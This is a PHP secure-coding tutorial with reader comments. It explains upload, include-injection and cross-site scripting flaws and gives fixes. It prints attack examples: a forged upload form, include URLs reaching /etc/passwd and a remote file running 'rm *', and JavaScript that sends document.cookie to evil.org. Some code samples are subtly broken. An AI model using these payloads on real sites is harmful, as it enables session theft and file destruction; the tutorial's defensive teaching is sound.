Programming PHP with Security in Mind

Writing code that prevents some common types of attacks is rather easy—here are some guidelines.
File Upload

User-uploaded files also can be problematic because of the way PHP handles them. PHP will define a variable in the global scope that has the same name as the file input tag in the submitted web form. Then, it will create this file with the uploaded file content, but it will not check whether the filename is valid or is the uploaded file.

<?php
    if ($upload_file && $fn_type == 'image/gif' &&
            $fn_size < 100000) {
        copy($fn, 'images/');
        unlink($fn);
    }
?>
<form method="post" name="fileupload"
 action="fupload.php" enctype="multipart/form-data">
File: <input type="file" name="fn">
<input type="submit" name="upload_file"
 value="Upload">

A malicious user could create his own form specifying the name of some other file that contains sensitive information and submit it, resulting in the processing of that other file. For example,

<form method="post" name="fileupload"
 action="fupload.php">
<input type="hidden" name="fn"
 value="/var/www/html/index.php">
<input type="hidden" name="fn_type"
value="text">
<input type="hidden" name="fn_size"
value="22">
<input type="submit" name="upload_file"
 value="Upload">
The above input would result in moving the file /var/www/html/index.php to images/.

A solution for this problem is to use move_uploaded_file() or is_uploaded_file(). However, there are some other problems with user-uploaded files. Imagine that you have a web application that lets users upload images smaller than 100Kb. In this case, even using move_uploaded_file() or is_uploaded_file() would not solve the problem. The attacker still could submit his form specifying the file size, as in the prior example. The solution here is to use the super-global array $_FILES to check user uploaded file information:

<?php
    if ($upload_file &&
        $_FILES['fn']['type'] ==
'image/gif
        $_FILES['fn']['size'] < 100000) {
            move_uploaded_file(
                $_FILES['fn']['tmp_name'],
                'images/');
    }
?>
Include Files

In PHP you can include local or remote files by using include(), include_once(), require() and require_once(). This is a good feature, because it allows you to have separate files for classes, reused code and so on, increasing the maintainability and readability of your code.

The concept of including remote files is dangerous in itself, though, because the remote site could be compromised or the network connection could be spoofed. In either scenario, you are injecting unknown and possibly hostile code directly into your script.

Including files presents some other problems, especially if you include files whose filename or path is based on user input. Imagine a script that includes several HTML files and displays them in the proper layout:

<?php
include($layout);
?>

If someone were to pass the $layout variable through GET, you probably can figure out what the consequences might be:

http://example.com/leftframe.php?layout=/etc/passwd
or
http://example.com/leftframe.php?layout=
http://evil.org/nasty.html
where nasty.html contains a couple lines of code, such as:
<?php
    passthru('rm *');
    passthru('mail
?>
To avoid this possibility, you should validate the variable you use in include(), perhaps with a regexp.

Cross-Site Scripting

Cross-site scripting (CSS) has been receiving a great deal of press attention. A simple search in the BugTraq mail archives retrieved 15 different reports from June 2002 alone, about cross-site scripting vulnerabilities in several applications.

This kind of attack works directly against the users of your site. It does this by tricking the victim into making a specific and carefully crafted HTTP request. This can happen through a link in an HTML e-mail message, in a web-based forum or embedded in a malicious web page. The victim may not know he is making such a request, if the link is embedded into a malicious web page for example, and the attack may not even require user facilitation. That is, when the user's browser receives the page requested, the malicious script is parsed and executed in the security context of the user.

Modern client-side scripting languages also can execute a number of functions that can be dangerous. Although, for example, JavaScript allows only the originating site to access its own private cookies, the attacker can bypass such a restriction by taking advantage of poorly coded scripts.

The common scenario for CSS attacks is when a user is logged in to a web application and has a valid session stored in a session cookie. The attacker constructs a link to the application from an area of the application that doesn't check user input for validity. It essentially processes what the victim requests and returns it.

Here is an example of such a scenario to illustrate my point. Imagine a web-mail application that blindly prints the mail subject in a mailbox list, like this:

<?php
    ...
    echo "<TD> $subject </TD>";
?>

In this case, an attacker could include JavaScript code in an e-mail subject, and it would be executed in the user's browser when he opens the mailbox.

This vulnerability then can be used to steal a user's cookies and allow the attacker to take over the user's session, by including JavaScript code like this:

<script>
self.location.href=
"http://evil.org/cookie-grab.html?cookies="
+escape(document.cookie)
</script>

When the user opens the mailbox, he will be redirected to the URL specified in the JavaScript code, which includes the victim's cookie. The attacker then simply needs to check his web server logs to know the victim's session cookie.

A vulnerability could be fixed by using htmlspecialchars() when printing variables. htmlspecialchars() converts special characters to HTML entities, meaning it will convert the < and > characters from the <script> tag to their respective entities, &lt and &gt. When the victim's browser parses the page, it will not do anything dangerous because &lt;script&gr; means simple text to the browser.

So, a possible solution for this type of attack is:

<?php
    ...
    echo "<TD> ".htmlspecialchars($subject)."
</TD>";
?>

Another common scenario involves printing variables blindly to a hidden input section of a web form:

<input type="hidden" name="page"
 value="<?php echo $page; ?>">
Consider the following URL:
http://example.com/page.php?page=">
<script>self.location.href="http://evil.org/
css-attack.html?cookies="
+escape(document.cookie)</script>
If the attacker can get us to select a link such as this one, it is possible that our browser will be redirected to the attacker's site, as in the previous example. But because the variable $page is integer, you could cast it or use the PHP function intval() to avoid this problem:
<input type="hidden" name="page"
 value="<?php echo intval($page); ?>">
Again, to avoid this kind of attack you always should perform user validation or insure that user-submitted data always is HTML-escaped before displaying it.

______________________

Comments

Comment viewing options

Select your preferred way to display the comments and click "Save settings" to activate your changes.

aa

Anonymous's picture

window.location='http://www.yahoo.com'

Is there any way

amir's picture

Is there any way that a user can not get a page by typing url in address bar.
User only redirected to the target pages by submit a form or else....

i wanted to ask about the leftframe.php

gloadz's picture

look at this for e.g.
http://www.tvdekho.com/frameleft.php?url= has a left frame and then look at this
http://www.tvdekho.com/external.php?url=aHR0cDovL3d3dy52aWRlb3N0YXRlLnR2...

how is this formed. Please contact me.

Plagiarism

Anonymous's picture

the URL of the actual article is:
http://www.developer.com/lang/article.php/918141

Plagiarism

Anonymous's picture

I think that there are too many coincidences (same sub-topics and code snippets) with an article(http://www.developer.com/lang/archives.php), published a year prior to this one. It is just not honest not to give credit!

Most articles about security

Anonymous's picture

Most articles about security and PHP cover the same topics.
Just because they both gave the "sendmail" example it doesn't really mean anything. But everyone can read both articles and judge for themselves. :-)

CSS?

Anonymous's picture

Since when is CSS not cascading style sheets? You can't just invent acronyms for something that overlap other well known ones.

Re: CSS?

Anonymous's picture

It's also very common for people to introduce some short name for a long name so they don't have to write down the endless name all the time. So even if it's not officially used for Cross-Side-Scripting, doesn't mean he's inventing. He's just applying some writing style that is rather common. Yeah, I read books :P

Nice article, enjoyed reading it.

Re: CSS?

Anonymous's picture

XSS for cross-site scripting.

Re: CSS?

Anonymous's picture

Actually CSS stands for both Cascading Style Sheets and (for a while) Cross Site Scripting. usually now though Cross Site Scripting is refered to XSS

Re: CSS?

Anonymous's picture

IANAL (I Am Not A Linguist)

Re: Programming PHP with Security in Mind

Anonymous's picture

alert ('http://www.cgisecurity.com/cgi-bin/cookie.cgi');

Wouldn't it be great if this article would run on a secure cms?

White Paper
Linux Management with Red Hat Satellite: Measuring Business Impact and ROI

Linux has become a key foundation for supporting today's rapidly growing IT environments. Linux is being used to deploy business applications and databases, trading on its reputation as a low-cost operating environment. For many IT organizations, Linux is a mainstay for deploying Web servers and has evolved from handling basic file, print, and utility workloads to running mission-critical applications and databases, physically, virtually, and in the cloud. As Linux grows in importance in terms of value to the business, managing Linux environments to high standards of service quality — availability, security, and performance — becomes an essential requirement for business success.

Learn More

Sponsored by Red Hat

White Paper
Private PaaS for the Agile Enterprise

If you already use virtualized infrastructure, you are well on your way to leveraging the power of the cloud. Virtualization offers the promise of limitless resources, but how do you manage that scalability when your DevOps team doesn’t scale? In today’s hypercompetitive markets, fast results can make a difference between leading the pack vs. obsolescence. Organizations need more benefits from cloud computing than just raw resources. They need agility, flexibility, convenience, ROI, and control.

Stackato private Platform-as-a-Service technology from ActiveState extends your private cloud infrastructure by creating a private PaaS to provide on-demand availability, flexibility, control, and ultimately, faster time-to-market for your enterprise.

Learn More

Sponsored by ActiveState